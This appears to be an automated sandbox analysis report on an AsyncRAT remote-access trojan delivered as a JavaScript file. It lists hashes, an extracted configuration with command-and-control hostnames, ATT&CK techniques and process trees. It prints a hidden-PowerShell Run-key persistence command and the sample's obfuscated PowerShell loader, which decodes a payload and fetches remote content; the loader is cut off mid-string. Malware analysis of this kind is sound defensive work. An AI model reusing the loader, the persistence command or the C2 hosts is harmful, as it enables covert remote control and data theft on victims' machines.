asyncrat | f276c0e7432f7aee83e45d60eae2b2d7ba76b8ac8e1be9a69f024719fd31b24f

Analysis

max time kernel
299s
max time network
297s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
08/08/2026, 16:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
A005210080011-210510.js
Size 43KB
Sample260808-twelnsaj2x
SHA256 f276c0e7432f7aee83e45d60eae2b2d7ba76b8ac8e1be9a69f024719fd31b24f
MD5 8877f4dd8c1dce8fff17057767facb4c
SHA1 4daa807f17b0b174ceb427626b865c838366daec
SHA512 3f165c5556770c933d1473f8ba0197d2d928c42cf528303a2497f7278fb0edc00b38c3b20c0d0a36fb3042688d68d19bf973e4214f2091d766038e3d329a913f
SSDEEP 768:VYVbWEEEEEEEEEEEEEEEEEEri7AMNNML5LbZPQFYI3ENcNHNvUj:VYRWEEEEEEEEEEEEEEEEEEri7JNYhqEv
TLSH
T17813A915798FCB1871A256CA06AF17740B6F7AAF1FBF4085048DEA8D4FD352188873B2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

tdb defense_evasion discovery execution asyncrat persistence privilege_escalation rat suricata

Malware Config

Extracted

Family

asyncrat

Version

0.5.9 A

Botnet

axwtexa.ddns.net:2055
back001xtc.ddns.net:2055

Mutex

TtqEcUMQu4fw

Attributes

delay
5
install
false
install_file
null
install_folder
null

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound 2 IoCs

Network activity triggered a Suricata alert

suricata asyncrat

flow	pid	Process
13	4616	installutil.exe
13	4616	installutil.exe

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	3852	powershell.exe
9	4212	powershell.exe
10	4212	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 23 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2520	powershell.exe
2140	powershell.exe
4228	powershell.exe
5784	powershell.exe
3796	powershell.exe
4996	powershell.exe
3292	powershell.exe
2780	powershell.exe
3852	powershell.exe
4212	powershell.exe
924	powershell.exe
1212	powershell.exe
2636	powershell.exe
4608	powershell.exe
248	powershell.exe
5852	powershell.exe
4444	powershell.exe
4604	powershell.exe
3472	powershell.exe
4184	powershell.exe
3596	powershell.exe
1284	powershell.exe
4272	powershell.exe

Adds Run key to start application 2 TTPs 16 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\Run\Drivers Update-586 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Drivers Update-317 = "cmd.exe /c start /min \"\" powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -c \". 'C:\\Users\\Admin\\AppData\\Windows Update\\AppData\\LocalLow\\LocalLow Windows\\Program Rules\\Program Rules NVIDEO\\Program Rules\\Program Rules NVIDEO\\vnvgn.ps1' \";exit"	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
4212	powershell.exe
4212	powershell.exe
1284	powershell.exe
1284	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1284 set thread context of 4616	1284	powershell.exe	131

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 12 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6068	cmd.exe
5992	cmd.exe
1196	cmd.exe
4264	cmd.exe
2304	cmd.exe
3716	cmd.exe
1316	cmd.exe
4176	cmd.exe
2664	cmd.exe
1984	cmd.exe
2936	cmd.exe
4496	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	installutil.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 24 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5048	PING.EXE
4264	cmd.exe
3392	PING.EXE
1992	PING.EXE
2304	cmd.exe
3716	cmd.exe
1580	PING.EXE
5880	PING.EXE
4176	cmd.exe
1196	cmd.exe
3436	PING.EXE
1984	cmd.exe
3864	PING.EXE
5032	PING.EXE
1316	cmd.exe
5992	cmd.exe
2664	cmd.exe
1084	PING.EXE
2936	cmd.exe
4756	PING.EXE
6068	cmd.exe
4340	PING.EXE
908	PING.EXE
4496	cmd.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
6012	ipconfig.exe
2744	ipconfig.exe

Runs ping.exe 1 TTPs 12 IoCs

Remote System Discovery

T1018

pid	Process
5032	PING.EXE
3392	PING.EXE
4340	PING.EXE
1992	PING.EXE
1580	PING.EXE
3864	PING.EXE
5048	PING.EXE
1084	PING.EXE
3436	PING.EXE
908	PING.EXE
5880	PING.EXE
4756	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2140	powershell.exe
2140	powershell.exe
3852	powershell.exe
3852	powershell.exe
4212	powershell.exe
4212	powershell.exe
4212	powershell.exe
2520	powershell.exe
2520	powershell.exe
2520	powershell.exe
4212	powershell.exe
4212	powershell.exe
4212	powershell.exe
3596	powershell.exe
3596	powershell.exe
3596	powershell.exe
4212	powershell.exe
924	powershell.exe
924	powershell.exe
924	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
4272	powershell.exe
4272	powershell.exe
1284	powershell.exe
1212	powershell.exe
1212	powershell.exe
1212	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
4228	powershell.exe
4228	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
3472	powershell.exe
3472	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
5784	powershell.exe
5784	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
3796	powershell.exe
3796	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
1284	powershell.exe
4444	powershell.exe
4444	powershell.exe
1284	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1284	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeDebugPrivilege	3852	powershell.exe
Token: SeDebugPrivilege	4212	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeIncreaseQuotaPrivilege	2520	powershell.exe
Token: SeSecurityPrivilege	2520	powershell.exe
Token: SeTakeOwnershipPrivilege	2520	powershell.exe
Token: SeLoadDriverPrivilege	2520	powershell.exe
Token: SeSystemProfilePrivilege	2520	powershell.exe
Token: SeSystemtimePrivilege	2520	powershell.exe
Token: SeProfSingleProcessPrivilege	2520	powershell.exe
Token: SeIncBasePriorityPrivilege	2520	powershell.exe
Token: SeCreatePagefilePrivilege	2520	powershell.exe
Token: SeBackupPrivilege	2520	powershell.exe
Token: SeRestorePrivilege	2520	powershell.exe
Token: SeShutdownPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeSystemEnvironmentPrivilege	2520	powershell.exe
Token: SeRemoteShutdownPrivilege	2520	powershell.exe
Token: SeUndockPrivilege	2520	powershell.exe
Token: SeManageVolumePrivilege	2520	powershell.exe
Token: 33	2520	powershell.exe
Token: 34	2520	powershell.exe
Token: 35	2520	powershell.exe
Token: 36	2520	powershell.exe
Token: SeIncreaseQuotaPrivilege	2520	powershell.exe
Token: SeSecurityPrivilege	2520	powershell.exe
Token: SeTakeOwnershipPrivilege	2520	powershell.exe
Token: SeLoadDriverPrivilege	2520	powershell.exe
Token: SeSystemProfilePrivilege	2520	powershell.exe
Token: SeSystemtimePrivilege	2520	powershell.exe
Token: SeProfSingleProcessPrivilege	2520	powershell.exe
Token: SeIncBasePriorityPrivilege	2520	powershell.exe
Token: SeCreatePagefilePrivilege	2520	powershell.exe
Token: SeBackupPrivilege	2520	powershell.exe
Token: SeRestorePrivilege	2520	powershell.exe
Token: SeShutdownPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeSystemEnvironmentPrivilege	2520	powershell.exe
Token: SeRemoteShutdownPrivilege	2520	powershell.exe
Token: SeUndockPrivilege	2520	powershell.exe
Token: SeManageVolumePrivilege	2520	powershell.exe
Token: 33	2520	powershell.exe
Token: 34	2520	powershell.exe
Token: 35	2520	powershell.exe
Token: 36	2520	powershell.exe
Token: SeIncreaseQuotaPrivilege	2520	powershell.exe
Token: SeSecurityPrivilege	2520	powershell.exe
Token: SeTakeOwnershipPrivilege	2520	powershell.exe
Token: SeLoadDriverPrivilege	2520	powershell.exe
Token: SeSystemProfilePrivilege	2520	powershell.exe
Token: SeSystemtimePrivilege	2520	powershell.exe
Token: SeProfSingleProcessPrivilege	2520	powershell.exe
Token: SeIncBasePriorityPrivilege	2520	powershell.exe
Token: SeCreatePagefilePrivilege	2520	powershell.exe
Token: SeBackupPrivilege	2520	powershell.exe
Token: SeRestorePrivilege	2520	powershell.exe
Token: SeShutdownPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeSystemEnvironmentPrivilege	2520	powershell.exe
Token: SeRemoteShutdownPrivilege	2520	powershell.exe
Token: SeUndockPrivilege	2520	powershell.exe
Token: SeManageVolumePrivilege	2520	powershell.exe
Token: 33	2520	powershell.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 5908 wrote to memory of 4912	5908	wscript.exe	89
PID 4912 wrote to memory of 2140	4912	wscript.exe	90
PID 2140 wrote to memory of 3852	2140	powershell.exe	92
PID 3852 wrote to memory of 6012	3852	powershell.exe	93
PID 3852 wrote to memory of 2744	3852	powershell.exe	94
PID 3852 wrote to memory of 4700	3852	powershell.exe	95
PID 3852 wrote to memory of 5936	3852	powershell.exe	96
PID 3852 wrote to memory of 4212	3852	powershell.exe	97
PID 4212 wrote to memory of 1316	4212	powershell.exe	99
PID 1316 wrote to memory of 5048	1316	cmd.exe	100
PID 4212 wrote to memory of 6068	4212	powershell.exe	101
PID 4212 wrote to memory of 5992	4212	powershell.exe	102
PID 4212 wrote to memory of 4176	4212	powershell.exe	103
PID 4212 wrote to memory of 1196	4212	powershell.exe	104
PID 4212 wrote to memory of 2664	4212	powershell.exe	105
PID 4212 wrote to memory of 4264	4212	powershell.exe	106
PID 6068 wrote to memory of 908	6068	cmd.exe	107
PID 4176 wrote to memory of 4340	4176	cmd.exe	108
PID 5992 wrote to memory of 3392	5992	cmd.exe	109
PID 1196 wrote to memory of 3436	1196	cmd.exe	110
PID 4264 wrote to memory of 1084	4264	cmd.exe	111
PID 2664 wrote to memory of 1992	2664	cmd.exe	112
PID 4212 wrote to memory of 1984	4212	powershell.exe	113
PID 4212 wrote to memory of 2936	4212	powershell.exe	114
PID 4212 wrote to memory of 4496	4212	powershell.exe	115
PID 4212 wrote to memory of 2304	4212	powershell.exe	116
PID 4212 wrote to memory of 3716	4212	powershell.exe	117
PID 4496 wrote to memory of 1580	4496	cmd.exe	118
PID 1984 wrote to memory of 3864	1984	cmd.exe	119
PID 2936 wrote to memory of 5880	2936	cmd.exe	120
PID 3716 wrote to memory of 5032	3716	cmd.exe	121
PID 2304 wrote to memory of 4756	2304	cmd.exe	122
PID 4212 wrote to memory of 2520	4212	powershell.exe	123
PID 4212 wrote to memory of 3596	4212	powershell.exe	125
PID 4212 wrote to memory of 924	4212	powershell.exe	126
PID 4212 wrote to memory of 1284	4212	powershell.exe	127
PID 4212 wrote to memory of 2884	4212	powershell.exe	129
PID 1284 wrote to memory of 4616	1284	powershell.exe	131
PID 1284 wrote to memory of 4616	1284	powershell.exe	131
PID 1284 wrote to memory of 4616	1284	powershell.exe	131
PID 1284 wrote to memory of 4616	1284	powershell.exe	131
PID 1284 wrote to memory of 4616	1284	powershell.exe	131
PID 1284 wrote to memory of 4272	1284	powershell.exe	132
PID 4272 wrote to memory of 1212	4272	powershell.exe	133
PID 4272 wrote to memory of 4228	4272	powershell.exe	135
PID 4272 wrote to memory of 3472	4272	powershell.exe	136
PID 4272 wrote to memory of 5784	4272	powershell.exe	137
PID 4272 wrote to memory of 3796	4272	powershell.exe	138
PID 4272 wrote to memory of 4444	4272	powershell.exe	139
PID 4272 wrote to memory of 4996	4272	powershell.exe	140
PID 4272 wrote to memory of 4184	4272	powershell.exe	141
PID 4272 wrote to memory of 2636	4272	powershell.exe	142
PID 4272 wrote to memory of 4604	4272	powershell.exe	143
PID 4272 wrote to memory of 4608	4272	powershell.exe	144
PID 4272 wrote to memory of 248	4272	powershell.exe	145
PID 4272 wrote to memory of 5852	4272	powershell.exe	146
PID 4272 wrote to memory of 3292	4272	powershell.exe	147
PID 4272 wrote to memory of 2780	4272	powershell.exe	148

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\A005210080011-210510.js
1⤵
- Suspicious use of WriteProcessMemory
PID:5908
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Public\stchh.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -c ";$lVEXS = $null ;;$LTLIP ;;$Ugkqg ;;$Ugkqg = 'DQo7JE' + ' + 9 + ' + 'jckptTC' + ' + A + ' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQml' + '0' + 'Q2' + ' + 9 + ' + 'udmVydGVyXTo6R2V' + '0' + 'Qnl' + '0' + 'ZXMoNj' + 'A' + '4Mj' + 'A' + 'wNCk7DQokclVwVndPQTUgPS' + 'A' + 'xNTsNCiRYVjRSID' + '0' + 'gJzU5NTQ3YjNmNzE1NDU1NTU1ODUzM2Y3NjVjNTc3NjNmNWM2MzYwODc1ZDUzNTQzZjVjNj' + 'A' + '3YTVhNTg1MjUwNzY1ODU1ODM2MjczNjY' + '0' + 'NDNmNz' + 'A' + '2NjQwN2I1YjdhN2I4NDczNTY2NTg4NzE' + '0' + 'MjUxNjM2OTY3NTk' + '0' + 'MTcwNjY1ZDdiNzI4ODQ' + '0' + 'NWQ2ODY3NTk4OTcwNTY1NTgyNjc2MzdlNDU2NTQyNTk3ZjczNTY2NTU5NzE3ZDYwODk1Yzc4NzY3YTYzNTU3MzgyNj' + 'A' + '' + '0' + 'MTQzODI1ODUyNjE1OTczNTY4NzUxNjE2MjdhNGMnOw' + '0' + 'KOw' + '0' + 'KZnVuY3Rpb24gTG' + ' + 9 + ' + 'hZEJ1ZmZlcjk2KCRoLC' + 'A' + 'kcykgezsNCi' + 'A' + 'gIC' + 'A' + 'kcXFzYmNQci' + 'A' + '' + ' + 9 + ' + 'ICcnOw' + '0' + 'KIC' + 'A' + 'gIGZvci' + 'A' + 'oJGkgPS' + 'A' + 'wOy' + 'A' + 'kaS' + 'A' + 'tbHQgJGguTGVuZ3RoOy' + 'A' + 'kaS' + 'A' + 'rPS' + 'A' + 'yKSB7Ow' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gICBbdm' + ' + 9 + ' + 'pZF' + '0' + 'oJGkgLWJ4b3IgMzIpOw' + '0' + 'KIC' + 'A' + 'gIC' + 'A' + 'gIC' + 'A' + 'kYi' + 'A' + '' + ' + 9 + ' + 'IFtDb252ZXJ' + '0' + 'XTo6VG' + ' + 9 + ' + 'JbnQzMigkaC5TdWJzdHJpbmcoJGksIDIpLC' + 'A' + 'xNik7DQogIC' + 'A' + 'gIC' + 'A' + 'gICRxcXNiY1ByICs' + ' + 9 + ' + 'IFtjaGFyXSgoJGIgLS' + 'A' + 'kcy' + 'A' + 'rIDI1NikgJS' + 'A' + 'yNTYpOw' + '0' + 'KIC' + 'A' + 'gIH' + '0' + '7DQogIC' + 'A' + 'gcmV' + '0' + 'dXJuICRxcXNiY1ByOw' + '0' + 'KfTsNCiRNTTB6ZkpzID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoW1N5c3RlbS5Db252ZXJ' + '0' + 'XTo6RnJvbUJhc2U2NFN' + '0' + 'cmluZygkKExvYWRCdWZmZXI5Ni' + 'A' + 'kWFY' + '0' + 'Ui' + 'A' + 'kclVwVndPQTUpKSk7DQpJbnZva2UtQ2' + ' + 9 + ' + 'tbWFuZC' + 'A' + 'oW1NjcmlwdEJsb2NrXTo6Q3JlYXRlKCRNTTB6ZkpzKSk7DQoNCjsNCjtpcGNvbmZpZy' + 'A' + 'vcmVs' + 'ZW' + 'FzZSB8IE' + ' + 9 + ' + '1dC1OdWxsOw' + '0' + 'KO2lwY2' + ' + 9 + ' + 'uZmlnIC' + ' + 9 + ' + 'y' + 'ZW' + '5ldyB8IE' + ' + 9 + ' + '1dC1OdWxsOw' + '0' + 'KO25ldHNoIHdpbnNvY2sgcmVzZXQgfCBPdXQtTnVsbDsNCjtuZXRzaCBpbnQgaX' + 'A' + 'gcmVzZXQgfCBPdXQtTnVsbDsNCg' + '0' + 'KU3RhcnQtU2xlZX' + 'A' + 'gLVNlY2' + ' + 9 + ' + 'uZHMgNS' + 'A' + '7DQoNCltTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpT' + 'ZW' + 'N1cml' + '0' + 'eVByb3RvY2' + ' + 9 + ' + 'sID' + '0' + 'gW1N5c3RlbS5OZXQuU2VjdXJpdHlQcm' + ' + 9 + ' + '' + '0' + 'b2NvbFR5cGVdOjpUbHMxMi' + 'A' + 'tYm' + ' + 9 + ' + 'yIFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uTmV' + '0' + 'LlNlY3VyaXR5UHJvdG' + ' + 9 + ' + 'jb2xUeXBlXTo6VGxzMTMgOw' + '0' + 'KDQokc215eEs7DQpGdW5jdGlvbiBkV3ZMT3s7DQpbYnl' + '0' + 'ZVtdXSREVktZUC' + 'A' + '' + ' + 9 + ' + 'IFtzeXN' + '0' + '' + 'ZW' + '' + '0' + 'uQ2' + ' + 9 + ' + 'udmVydF' + '0' + '6OkZyb21CYXNlNjRTdHJpbmcoICRzbXl4Sy' + 'A' + 'pOw' + '0' + 'KJGZqZE1mID' + '0' + 'gW1N5c3RlbS5UZXh' + '0' + 'LkVuY2' + ' + 9 + ' + 'kaW5nXTo6VVRGOC5HZXRTdHJpbmcoICREVktZUC' + 'A' + 'pOw' + '0' + 'KcmV' + '0' + 'dXJuICRmamRNZjsNCn' + '0' + '7DQoNCiRkV1dDTi' + 'A' + '' + ' + 9 + ' + 'ICggJ' + '0' + 'M6XFVzZXJzXFB1YmxpY1wnICsgJ3ZteWNjLnR4dCcpIDskaFJsYWkgPS' + 'A' + 'nYUhSMGNITTZMeScgKy' + 'A' + 'oJzloYiRfJF8kXyRfJF8kX1J5WldabGJHbHdaV1J2YiRfJF8kXyRfJF8kX' + '0' + 'Z6WTJsdFpURTNPRE' + '0' + '' + '0' + 'TicgLXJlcGxhY2UgLC' + 'A' + 'nXCRfXCRfXCRfXCRfXCRfXCRfJywgJ2' + '0' + 'nKS' + 'A' + 'rICdqazFPVFE1TnpndU1qQXlNRE14TWk1dFpYVnphWFJsYUc5emRHZGhkRzl5TG1OdmJTNWljaTlrUkZsd1ZGOHhOMTh3TjE5TlpYVnpYMkZ5Y1hWcGRtOXpYMFJsWDFSbGVIUnZMekF6TG5SNGRBPT' + '0' + 'nIDskc215eEsgPS' + 'A' + 'kaFJsYWk7ICRoUmxhaS' + 'A' + '' + ' + 9 + ' + 'IGRXdkxPIDskaFJsYWkgfCBPdXQtRmlsZS' + 'A' + 'tRmlsZVBhdGggJGRXV' + '0' + 'NOIC1FbmNvZGluZy' + 'A' + 'nVVRGOCcgLWZvcmNlIDs7JE15VENtID' + '0' + 'gKC' + 'A' + 'nQzpcVXNlcnNcUHVibGljXCcgKy' + 'A' + 'ncnd6dGsudHh' + '0' + 'JykgOyRkdHRoZC' + 'A' + '' + ' + 9 + ' + 'IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5X' + 'ZW' + 'JDbGllbnQgOyRkdHRoZC5FbmNvZGluZy' + 'A' + '' + ' + 9 + ' + 'IFtTeXN' + '0' + '' + 'ZW' + '' + '0' + 'uVGV4dC5FbmNvZGluZ1' + '0' + '6OlVURjggOyRkdHRoZC5I' + 'ZW' + 'FkZXJzLkFkZChbU3lzdGVtLk5ldC5IdHRwUmVxdWVzdEhlYWRlcl' + '0' + '6OkNhY2hlQ2' + ' + 9 + ' + 